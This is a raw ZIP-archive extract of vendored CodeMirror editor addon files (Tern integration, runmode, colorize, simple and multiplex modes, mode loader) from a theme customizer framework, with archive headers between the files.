      if (typeof elt == "string") elt = document.createTextNode(elt);
      e.appendChild(elt);
    }
    return e;
  }

  function dialog(cm, text, f) {
    if (cm.openDialog)
      cm.openDialog(text + ": <input type=text>", f);
    else
      f(prompt(text, ""));
  }

  // Tooltips

  function tempTooltip(cm, content, ts) {
    if (cm.state.ternTooltip) remove(cm.state.ternTooltip);
    var where = cm.cursorCoords();
    var tip = cm.state.ternTooltip = makeTooltip(where.right + 1, where.bottom, content);
    function maybeClear() {
      old = true;
      if (!mouseOnTip) clear();
    }
    function clear() {
      cm.state.ternTooltip = null;
      if (!tip.parentNode) return;
      cm.off("cursorActivity", clear);
      cm.off('blur', clear);
      cm.off('scroll', clear);
      fadeOut(tip);
    }
    var mouseOnTip = false, old = false;
    CodeMirror.on(tip, "mousemove", function() { mouseOnTip = true; });
    CodeMirror.on(tip, "mouseout", function(e) {
      if (!CodeMirror.contains(tip, e.relatedTarget || e.toElement)) {
        if (old) clear();
        else mouseOnTip = false;
      }
    });
    setTimeout(maybeClear, ts.options.hintDelay ? ts.options.hintDelay : 1700);
    cm.on("cursorActivity", clear);
    cm.on('blur', clear);
    cm.on('scroll', clear);
  }

  function makeTooltip(x, y, content) {
    var node = elt("div", cls + "tooltip", content);
    node.style.left = x + "px";
    node.style.top = y + "px";
    document.body.appendChild(node);
    return node;
  }

  function remove(node) {
    var p = node && node.parentNode;
    if (p) p.removeChild(node);
  }

  function fadeOut(tooltip) {
    tooltip.style.opacity = "0";
    setTimeout(function() { remove(tooltip); }, 1100);
  }

  function showError(ts, cm, msg) {
    if (ts.options.showError)
      ts.options.showError(cm, msg);
    else
      tempTooltip(cm, String(msg), ts);
  }

  function closeArgHints(ts) {
    if (ts.activeArgHints) { remove(ts.activeArgHints); ts.activeArgHints = null; }
  }

  function docValue(ts, doc) {
    var val = doc.doc.getValue();
    if (ts.options.fileFilter) val = ts.options.fileFilter(val, doc.name, doc.doc);
    return val;
  }

  // Worker wrapper

  function WorkerServer(ts) {
    var worker = ts.worker = new Worker(ts.options.workerScript);
    worker.postMessage({type: "init",
                        defs: ts.options.defs,
                        plugins: ts.options.plugins,
                        scripts: ts.options.workerDeps});
    var msgId = 0, pending = {};

    function send(data, c) {
      if (c) {
        data.id = ++msgId;
        pending[msgId] = c;
      }
      worker.postMessage(data);
    }
    worker.onmessage = function(e) {
      var data = e.data;
      if (data.type == "getFile") {
        getFile(ts, data.name, function(err, text) {
          send({type: "getFile", err: String(err), text: text, id: data.id});
        });
      } else if (data.type == "debug") {
        window.console.log(data.message);
      } else if (data.id && pending[data.id]) {
        pending[data.id](data.err, data.body);
        delete pending[data.id];
      }
    };
    worker.onerror = function(e) {
      for (var id in pending) pending[id](e);
      pending = {};
    };

    this.addFile = function(name, text) { send({type: "add", name: name, text: text}); };
    this.delFile = function(name) { send({type: "del", name: name}); };
    this.request = function(body, c) { send({type: "req", body: body}, c); };
  }
});
PK     0w\h<    E  customizer/framework/assets/js/vendor/codemirror/addon/tern/worker.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// declare global: tern, server

var server;

this.onmessage = function(e) {
  var data = e.data;
  switch (data.type) {
  case "init": return startServer(data.defs, data.plugins, data.scripts);
  case "add": return server.addFile(data.name, data.text);
  case "del": return server.delFile(data.name);
  case "req": return server.request(data.body, function(err, reqData) {
    postMessage({id: data.id, body: reqData, err: err && String(err)});
  });
  case "getFile":
    var c = pending[data.id];
    delete pending[data.id];
    return c(data.err, data.text);
  default: throw new Error("Unknown message type: " + data.type);
  }
};

var nextId = 0, pending = {};
function getFile(file, c) {
  postMessage({type: "getFile", name: file, id: ++nextId});
  pending[nextId] = c;
}

function startServer(defs, plugins, scripts) {
  if (scripts) importScripts.apply(null, scripts);

  server = new tern.Server({
    getFile: getFile,
    async: true,
    defs: defs,
    plugins: plugins
  });
}

this.console = {
  log: function(v) { postMessage({type: "debug", message: v}); }
};
PK     0w\JjP  P  D  customizer/framework/assets/js/vendor/codemirror/addon/tern/tern.cssnu [        .CodeMirror-Tern-completion {
  padding-left: 22px;
  position: relative;
  line-height: 1.5;
}
.CodeMirror-Tern-completion:before {
  position: absolute;
  left: 2px;
  bottom: 2px;
  border-radius: 50%;
  font-size: 12px;
  font-weight: bold;
  height: 15px;
  width: 15px;
  line-height: 16px;
  text-align: center;
  color: white;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
.CodeMirror-Tern-completion-unknown:before {
  content: "?";
  background: #4bb;
}
.CodeMirror-Tern-completion-object:before {
  content: "O";
  background: #77c;
}
.CodeMirror-Tern-completion-fn:before {
  content: "F";
  background: #7c7;
}
.CodeMirror-Tern-completion-array:before {
  content: "A";
  background: #c66;
}
.CodeMirror-Tern-completion-number:before {
  content: "1";
  background: #999;
}
.CodeMirror-Tern-completion-string:before {
  content: "S";
  background: #999;
}
.CodeMirror-Tern-completion-bool:before {
  content: "B";
  background: #999;
}

.CodeMirror-Tern-completion-guess {
  color: #999;
}

.CodeMirror-Tern-tooltip {
  border: 1px solid silver;
  border-radius: 3px;
  color: #444;
  padding: 2px 5px;
  font-size: 90%;
  font-family: monospace;
  background-color: white;
  white-space: pre-wrap;

  max-width: 40em;
  position: absolute;
  z-index: 10;
  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);

  transition: opacity 1s;
  -moz-transition: opacity 1s;
  -webkit-transition: opacity 1s;
  -o-transition: opacity 1s;
  -ms-transition: opacity 1s;
}

.CodeMirror-Tern-hint-doc {
  max-width: 25em;
  margin-top: -3px;
}

.CodeMirror-Tern-fname { color: black; }
.CodeMirror-Tern-farg { color: #70a; }
.CodeMirror-Tern-farg-current { text-decoration: underline; }
.CodeMirror-Tern-type { color: #07c; }
.CodeMirror-Tern-fhint-guess { opacity: .7; }
PK     0w\0    T  customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode-standalone.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

window.CodeMirror = {};

(function() {
"use strict";

function splitLines(string){ return string.split(/\r?\n|\r/); };

function StringStream(string) {
  this.pos = this.start = 0;
  this.string = string;
  this.lineStart = 0;
}
StringStream.prototype = {
  eol: function() {return this.pos >= this.string.length;},
  sol: function() {return this.pos == 0;},
  peek: function() {return this.string.charAt(this.pos) || null;},
  next: function() {
    if (this.pos < this.string.length)
      return this.string.charAt(this.pos++);
  },
  eat: function(match) {
    var ch = this.string.charAt(this.pos);
    if (typeof match == "string") var ok = ch == match;
    else var ok = ch && (match.test ? match.test(ch) : match(ch));
    if (ok) {++this.pos; return ch;}
  },
  eatWhile: function(match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start;
  },
  eatSpace: function() {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
    return this.pos > start;
  },
  skipToEnd: function() {this.pos = this.string.length;},
  skipTo: function(ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true;}
  },
  backUp: function(n) {this.pos -= n;},
  column: function() {return this.start - this.lineStart;},
  indentation: function() {return 0;},
  match: function(pattern, consume, caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) this.pos += pattern.length;
        return true;
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) return null;
      if (match && consume !== false) this.pos += match[0].length;
      return match;
    }
  },
  current: function(){return this.string.slice(this.start, this.pos);},
  hideFirstChars: function(n, inner) {
    this.lineStart += n;
    try { return inner(); }
    finally { this.lineStart -= n; }
  }
};
CodeMirror.StringStream = StringStream;

CodeMirror.startState = function (mode, a1, a2) {
  return mode.startState ? mode.startState(a1, a2) : true;
};

var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};
CodeMirror.defineMode = function (name, mode) {
  if (arguments.length > 2)
    mode.dependencies = Array.prototype.slice.call(arguments, 2);
  modes[name] = mode;
};
CodeMirror.defineMIME = function (mime, spec) { mimeModes[mime] = spec; };
CodeMirror.resolveMode = function(spec) {
  if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
    spec = mimeModes[spec];
  } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
    spec = mimeModes[spec.name];
  }
  if (typeof spec == "string") return {name: spec};
  else return spec || {name: "null"};
};
CodeMirror.getMode = function (options, spec) {
  spec = CodeMirror.resolveMode(spec);
  var mfactory = modes[spec.name];
  if (!mfactory) throw new Error("Unknown mode: " + spec);
  return mfactory(options, spec);
};
CodeMirror.registerHelper = CodeMirror.registerGlobalHelper = Math.min;
CodeMirror.defineMode("null", function() {
  return {token: function(stream) {stream.skipToEnd();}};
});
CodeMirror.defineMIME("text/plain", "null");

CodeMirror.runMode = function (string, modespec, callback, options) {
  var mode = CodeMirror.getMode({ indentUnit: 2 }, modespec);

  if (callback.nodeType == 1) {
    var tabSize = (options && options.tabSize) || 4;
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function (text, style) {
      if (text == "\n") {
        node.appendChild(document.createElement("br"));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0; ;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) content += " ";
          pos = idx + 1;
        }
      }

      if (style) {
        var sp = node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, " cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = splitLines(string), state = (options && options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new CodeMirror.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};
})();
PK     0w\7}	  	  I  customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.runMode = function(string, modespec, callback, options) {
  var mode = CodeMirror.getMode(CodeMirror.defaults, modespec);
  var ie = /MSIE \d/.test(navigator.userAgent);
  var ie_lt9 = ie && (document.documentMode == null || document.documentMode < 9);

  if (callback.nodeType == 1) {
    var tabSize = (options && options.tabSize) || CodeMirror.defaults.tabSize;
    var node = callback, col = 0;
    node.innerHTML = "";
    callback = function(text, style) {
      if (text == "\n") {
        // Emitting LF or CRLF on IE8 or earlier results in an incorrect display.
        // Emitting a carriage return makes everything ok.
        node.appendChild(document.createTextNode(ie_lt9 ? '\r' : text));
        col = 0;
        return;
      }
      var content = "";
      // replace tabs
      for (var pos = 0;;) {
        var idx = text.indexOf("\t", pos);
        if (idx == -1) {
          content += text.slice(pos);
          col += text.length - pos;
          break;
        } else {
          col += idx - pos;
          content += text.slice(pos, idx);
          var size = tabSize - col % tabSize;
          col += size;
          for (var i = 0; i < size; ++i) content += " ";
          pos = idx + 1;
        }
      }

      if (style) {
        var sp = node.appendChild(document.createElement("span"));
        sp.className = "cm-" + style.replace(/ +/g, " cm-");
        sp.appendChild(document.createTextNode(content));
      } else {
        node.appendChild(document.createTextNode(content));
      }
    };
  }

  var lines = CodeMirror.splitLines(string), state = (options && options.state) || CodeMirror.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new CodeMirror.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

});
PK     0w\V@Y    N  customizer/framework/assets/js/vendor/codemirror/addon/runmode/runmode.node.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/* Just enough of CodeMirror to run runMode under node.js */

function splitLines(string){return string.split(/\r\n?|\n/);};

// Counts the column offset in a string, taking tabs into account.
// Used mostly to find indentation.
var countColumn = function(string, end, tabSize, startIndex, startValue) {
  if (end == null) {
    end = string.search(/[^\s\u00a0]/);
    if (end == -1) end = string.length;
  }
  for (var i = startIndex || 0, n = startValue || 0;;) {
    var nextTab = string.indexOf("\t", i);
    if (nextTab < 0 || nextTab >= end)
      return n + (end - i);
    n += nextTab - i;
    n += tabSize - (n % tabSize);
    i = nextTab + 1;
  }
};

function StringStream(string, tabSize) {
  this.pos = this.start = 0;
  this.string = string;
  this.tabSize = tabSize || 8;
  this.lastColumnPos = this.lastColumnValue = 0;
  this.lineStart = 0;
};

StringStream.prototype = {
  eol: function() {return this.pos >= this.string.length;},
  sol: function() {return this.pos == this.lineStart;},
  peek: function() {return this.string.charAt(this.pos) || undefined;},
  next: function() {
    if (this.pos < this.string.length)
      return this.string.charAt(this.pos++);
  },
  eat: function(match) {
    var ch = this.string.charAt(this.pos);
    if (typeof match == "string") var ok = ch == match;
    else var ok = ch && (match.test ? match.test(ch) : match(ch));
    if (ok) {++this.pos; return ch;}
  },
  eatWhile: function(match) {
    var start = this.pos;
    while (this.eat(match)){}
    return this.pos > start;
  },
  eatSpace: function() {
    var start = this.pos;
    while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
    return this.pos > start;
  },
  skipToEnd: function() {this.pos = this.string.length;},
  skipTo: function(ch) {
    var found = this.string.indexOf(ch, this.pos);
    if (found > -1) {this.pos = found; return true;}
  },
  backUp: function(n) {this.pos -= n;},
  column: function() {
    if (this.lastColumnPos < this.start) {
      this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
      this.lastColumnPos = this.start;
    }
    return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
  },
  indentation: function() {
    return countColumn(this.string, null, this.tabSize) -
      (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
  },
  match: function(pattern, consume, caseInsensitive) {
    if (typeof pattern == "string") {
      var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
      var substr = this.string.substr(this.pos, pattern.length);
      if (cased(substr) == cased(pattern)) {
        if (consume !== false) this.pos += pattern.length;
        return true;
      }
    } else {
      var match = this.string.slice(this.pos).match(pattern);
      if (match && match.index > 0) return null;
      if (match && consume !== false) this.pos += match[0].length;
      return match;
    }
  },
  current: function(){return this.string.slice(this.start, this.pos);},
  hideFirstChars: function(n, inner) {
    this.lineStart += n;
    try { return inner(); }
    finally { this.lineStart -= n; }
  }
};
exports.StringStream = StringStream;

exports.startState = function(mode, a1, a2) {
  return mode.startState ? mode.startState(a1, a2) : true;
};

var modes = exports.modes = {}, mimeModes = exports.mimeModes = {};
exports.defineMode = function(name, mode) {
  if (arguments.length > 2)
    mode.dependencies = Array.prototype.slice.call(arguments, 2);
  modes[name] = mode;
};
exports.defineMIME = function(mime, spec) { mimeModes[mime] = spec; };

exports.defineMode("null", function() {
  return {token: function(stream) {stream.skipToEnd();}};
});
exports.defineMIME("text/plain", "null");

exports.resolveMode = function(spec) {
  if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
    spec = mimeModes[spec];
  } else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
    spec = mimeModes[spec.name];
  }
  if (typeof spec == "string") return {name: spec};
  else return spec || {name: "null"};
};

function copyObj(obj, target, overwrite) {
  if (!target) target = {};
  for (var prop in obj)
    if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
      target[prop] = obj[prop];
  return target;
}

// This can be used to attach properties to mode objects from
// outside the actual mode definition.
var modeExtensions = exports.modeExtensions = {};
exports.extendMode = function(mode, properties) {
  var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
  copyObj(properties, exts);
};

exports.getMode = function(options, spec) {
  var spec = exports.resolveMode(spec);
  var mfactory = modes[spec.name];
  if (!mfactory) return exports.getMode(options, "text/plain");
  var modeObj = mfactory(options, spec);
  if (modeExtensions.hasOwnProperty(spec.name)) {
    var exts = modeExtensions[spec.name];
    for (var prop in exts) {
      if (!exts.hasOwnProperty(prop)) continue;
      if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
      modeObj[prop] = exts[prop];
    }
  }
  modeObj.name = spec.name;
  if (spec.helperType) modeObj.helperType = spec.helperType;
  if (spec.modeProps) for (var prop in spec.modeProps)
    modeObj[prop] = spec.modeProps[prop];

  return modeObj;
};
exports.registerHelper = exports.registerGlobalHelper = Math.min;

exports.runMode = function(string, modespec, callback, options) {
  var mode = exports.getMode({indentUnit: 2}, modespec);
  var lines = splitLines(string), state = (options && options.state) || exports.startState(mode);
  for (var i = 0, e = lines.length; i < e; ++i) {
    if (i) callback("\n");
    var stream = new exports.StringStream(lines[i]);
    if (!stream.string && mode.blankLine) mode.blankLine(state);
    while (!stream.eol()) {
      var style = mode.token(stream, state);
      callback(stream.current(), style, i, stream.start, state);
      stream.start = stream.pos;
    }
  }
};

require.cache[require.resolve("../../lib/codemirror")] = require.cache[require.resolve("./runmode.node")];
require.cache[require.resolve("../../addon/runmode/runmode")] = require.cache[require.resolve("./runmode.node")];
PK     0w\i    J  customizer/framework/assets/js/vendor/codemirror/addon/runmode/colorize.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./runmode"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./runmode"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var isBlock = /^(p|li|div|h\\d|pre|blockquote|td)$/;

  function textContent(node, out) {
    if (node.nodeType == 3) return out.push(node.nodeValue);
    for (var ch = node.firstChild; ch; ch = ch.nextSibling) {
      textContent(ch, out);
      if (isBlock.test(node.nodeType)) out.push("\n");
    }
  }

  CodeMirror.colorize = function(collection, defaultMode) {
    if (!collection) collection = document.body.getElementsByTagName("pre");

    for (var i = 0; i < collection.length; ++i) {
      var node = collection[i];
      var mode = node.getAttribute("data-lang") || defaultMode;
      if (!mode) continue;

      var text = [];
      textContent(node, text);
      node.innerHTML = "";
      CodeMirror.runMode(text.join(""), mode, node);

      node.className += " cm-s-default";
    }
  };
});
PK     0w\E     E  customizer/framework/assets/js/vendor/codemirror/addon/mode/simple.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineSimpleMode = function(name, states) {
    CodeMirror.defineMode(name, function(config) {
      return CodeMirror.simpleMode(config, states);
    });
  };

  CodeMirror.simpleMode = function(config, states) {
    ensureState(states, "start");
    var states_ = {}, meta = states.meta || {}, hasIndentation = false;
    for (var state in states) if (state != meta && states.hasOwnProperty(state)) {
      var list = states_[state] = [], orig = states[state];
      for (var i = 0; i < orig.length; i++) {
        var data = orig[i];
        list.push(new Rule(data, states));
        if (data.indent || data.dedent) hasIndentation = true;
      }
    }
    var mode = {
      startState: function() {
        return {state: "start", pending: null,
                local: null, localState: null,
                indent: hasIndentation ? [] : null};
      },
      copyState: function(state) {
        var s = {state: state.state, pending: state.pending,
                 local: state.local, localState: null,
                 indent: state.indent && state.indent.slice(0)};
        if (state.localState)
          s.localState = CodeMirror.copyState(state.local.mode, state.localState);
        if (state.stack)
          s.stack = state.stack.slice(0);
        for (var pers = state.persistentStates; pers; pers = pers.next)
          s.persistentStates = {mode: pers.mode,
                                spec: pers.spec,
                                state: pers.state == state.localState ? s.localState : CodeMirror.copyState(pers.mode, pers.state),
                                next: s.persistentStates};
        return s;
      },
      token: tokenFunction(states_, config),
      innerMode: function(state) { return state.local && {mode: state.local.mode, state: state.localState}; },
      indent: indentFunction(states_, meta)
    };
    if (meta) for (var prop in meta) if (meta.hasOwnProperty(prop))
      mode[prop] = meta[prop];
    return mode;
  };

  function ensureState(states, name) {
    if (!states.hasOwnProperty(name))
      throw new Error("Undefined state " + name + "in simple mode");
  }

  function toRegex(val, caret) {
    if (!val) return /(?:)/;
    var flags = "";
    if (val instanceof RegExp) {
      if (val.ignoreCase) flags = "i";
      val = val.source;
    } else {
      val = String(val);
    }
    return new RegExp((caret === false ? "" : "^") + "(?:" + val + ")", flags);
  }

  function asToken(val) {
    if (!val) return null;
    if (typeof val == "string") return val.replace(/\./g, " ");
    var result = [];
    for (var i = 0; i < val.length; i++)
      result.push(val[i] && val[i].replace(/\./g, " "));
    return result;
  }

  function Rule(data, states) {
    if (data.next || data.push) ensureState(states, data.next || data.push);
    this.regex = toRegex(data.regex);
    this.token = asToken(data.token);
    this.data = data;
  }

  function tokenFunction(states, config) {
    return function(stream, state) {
      if (state.pending) {
        var pend = state.pending.shift();
        if (state.pending.length == 0) state.pending = null;
        stream.pos += pend.text.length;
        return pend.token;
      }

      if (state.local) {
        if (state.local.end && stream.match(state.local.end)) {
          var tok = state.local.endToken || null;
          state.local = state.localState = null;
          return tok;
        } else {
          var tok = state.local.mode.token(stream, state.localState), m;
          if (state.local.endScan && (m = state.local.endScan.exec(stream.current())))
            stream.pos = stream.start + m.index;
          return tok;
        }
      }

      var curState = states[state.state];
      for (var i = 0; i < curState.length; i++) {
        var rule = curState[i];
        var matches = (!rule.data.sol || stream.sol()) && stream.match(rule.regex);
        if (matches) {
          if (rule.data.next) {
            state.state = rule.data.next;
          } else if (rule.data.push) {
            (state.stack || (state.stack = [])).push(state.state);
            state.state = rule.data.push;
          } else if (rule.data.pop && state.stack && state.stack.length) {
            state.state = state.stack.pop();
          }

          if (rule.data.mode)
            enterLocalMode(config, state, rule.data.mode, rule.token);
          if (rule.data.indent)
            state.indent.push(stream.indentation() + config.indentUnit);
          if (rule.data.dedent)
            state.indent.pop();
          if (matches.length > 2) {
            state.pending = [];
            for (var j = 2; j < matches.length; j++)
              if (matches[j])
                state.pending.push({text: matches[j], token: rule.token[j - 1]});
            stream.backUp(matches[0].length - (matches[1] ? matches[1].length : 0));
            return rule.token[0];
          } else if (rule.token && rule.token.join) {
            return rule.token[0];
          } else {
            return rule.token;
          }
        }
      }
      stream.next();
      return null;
    };
  }

  function cmp(a, b) {
    if (a === b) return true;
    if (!a || typeof a != "object" || !b || typeof b != "object") return false;
    var props = 0;
    for (var prop in a) if (a.hasOwnProperty(prop)) {
      if (!b.hasOwnProperty(prop) || !cmp(a[prop], b[prop])) return false;
      props++;
    }
    for (var prop in b) if (b.hasOwnProperty(prop)) props--;
    return props == 0;
  }

  function enterLocalMode(config, state, spec, token) {
    var pers;
    if (spec.persistent) for (var p = state.persistentStates; p && !pers; p = p.next)
      if (spec.spec ? cmp(spec.spec, p.spec) : spec.mode == p.mode) pers = p;
    var mode = pers ? pers.mode : spec.mode || CodeMirror.getMode(config, spec.spec);
    var lState = pers ? pers.state : CodeMirror.startState(mode);
    if (spec.persistent && !pers)
      state.persistentStates = {mode: mode, spec: spec.spec, state: lState, next: state.persistentStates};

    state.localState = lState;
    state.local = {mode: mode,
                   end: spec.end && toRegex(spec.end),
                   endScan: spec.end && spec.forceEnd !== false && toRegex(spec.end, false),
                   endToken: token && token.join ? token[token.length - 1] : token};
  }

  function indexOf(val, arr) {
    for (var i = 0; i < arr.length; i++) if (arr[i] === val) return true;
  }

  function indentFunction(states, meta) {
    return function(state, textAfter, line) {
      if (state.local && state.local.mode.indent)
        return state.local.mode.indent(state.localState, textAfter, line);
      if (state.indent == null || state.local || meta.dontIndentStates && indexOf(state.state, meta.dontIndentStates) > -1)
        return CodeMirror.Pass;

      var pos = state.indent.length - 1, rules = states[state.state];
      scan: for (;;) {
        for (var i = 0; i < rules.length; i++) {
          var rule = rules[i];
          if (rule.data.dedent && rule.data.dedentIfLineStart !== false) {
            var m = rule.regex.exec(textAfter);
            if (m && m[0]) {
              pos--;
              if (rule.next || rule.push) rules = states[rule.next || rule.push];
              textAfter = textAfter.slice(m[0].length);
              continue scan;
            }
          }
        }
        break;
      }
      return pos < 0 ? 0 : state.indent[pos];
    };
  }
});
PK     0w\}A  A  M  customizer/framework/assets/js/vendor/codemirror/addon/mode/multiplex_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  CodeMirror.defineMode("markdown_with_stex", function(){
    var inner = CodeMirror.getMode({}, "stex");
    var outer = CodeMirror.getMode({}, "markdown");

    var innerOptions = {
      open: '$',
      close: '$',
      mode: inner,
      delimStyle: 'delim',
      innerStyle: 'inner'
    };

    return CodeMirror.multiplexingMode(outer, innerOptions);
  });

  var mode = CodeMirror.getMode({}, "markdown_with_stex");

  function MT(name) {
    test.mode(
      name,
      mode,
      Array.prototype.slice.call(arguments, 1),
      'multiplexing');
  }

  MT(
    "stexInsideMarkdown",
    "[strong **Equation:**] [delim&delim-open $][inner&tag \\pi][delim&delim-close $]");
})();
PK     0w\[_    G  customizer/framework/assets/js/vendor/codemirror/addon/mode/loadmode.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), "cjs");
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], function(CM) { mod(CM, "amd"); });
  else // Plain browser env
    mod(CodeMirror, "plain");
})(function(CodeMirror, env) {
  if (!CodeMirror.modeURL) CodeMirror.modeURL = "../mode/%N/%N.js";

  var loading = {};
  function splitCallback(cont, n) {
    var countDown = n;
    return function() { if (--countDown == 0) cont(); };
  }
  function ensureDeps(mode, cont) {
    var deps = CodeMirror.modes[mode].dependencies;
    if (!deps) return cont();
    var missing = [];
    for (var i = 0; i < deps.length; ++i) {
      if (!CodeMirror.modes.hasOwnProperty(deps[i]))
        missing.push(deps[i]);
    }
    if (!missing.length) return cont();
    var split = splitCallback(cont, missing.length);
    for (var i = 0; i < missing.length; ++i)
      CodeMirror.requireMode(missing[i], split);
  }

  CodeMirror.requireMode = function(mode, cont) {
    if (typeof mode != "string") mode = mode.name;
    if (CodeMirror.modes.hasOwnProperty(mode)) return ensureDeps(mode, cont);
    if (loading.hasOwnProperty(mode)) return loading[mode].push(cont);

    var file = CodeMirror.modeURL.replace(/%N/g, mode);
    if (env == "plain") {
      var script = document.createElement("script");
      script.src = file;
      var others = document.getElementsByTagName("script")[0];
      var list = loading[mode] = [cont];
      CodeMirror.on(script, "load", function() {
        ensureDeps(mode, function() {
          for (var i = 0; i < list.length; ++i) list[i]();
        });
      });
      others.parentNode.insertBefore(script, others);
    } else if (env == "cjs") {
      require(file);
      cont();
    } else if (env == "amd") {
      requirejs([file], cont);
    }
  };

  CodeMirror.autoLoadMode = function(instance, mode) {
    if (!CodeMirror.modes.hasOwnProperty(mode))
      CodeMirror.requireMode(mode, function() {
        instance.setOption("mode", instance.getOption("mode"));
      });
  };
});
PK     0w\s    H  customizer/framework/assets/js/vendor/codemirror/addon/mode/multiplex.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.multiplexingMode = function(outer /*, others */) {
  // Others should be {open, close, mode [, delimStyle] [, innerStyle]} objects
  var others = Array.prototype.slice.call(arguments, 1);

  function indexOf(string, pattern, from, returnEnd) {
    if (typeof pattern == "string") {
      var found = string.indexOf(pattern, from);
      return returnEnd && found > -1 ? found + pattern.length : found;
    }
    var m = pattern.exec(from ? string.slice(from) : string);
    return m ? m.index + from + (returnEnd ? m[0].length : 0) : -1;
  }

  return {
    startState: function() {
      return {
        outer: CodeMirror.startState(outer),
        innerActive: null,
        inner: null
      };
    },

    copyState: function(state) {
      return {
        outer: CodeMirror.copyState(outer, state.outer),
        innerActive: state.innerActive,
        inner: state.innerActive && CodeMirror.copyState(state.innerActive.mode, state.inner)
      };
    },

    token: function(stream, state) {
      if (!state.innerActive) {
        var cutOff = Infinity, oldContent = stream.string;
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          var found = indexOf(oldContent, other.open, stream.pos);
          if (found == stream.pos) {
            if (!other.parseDelimiters) stream.match(other.open);
            state.innerActive = other;
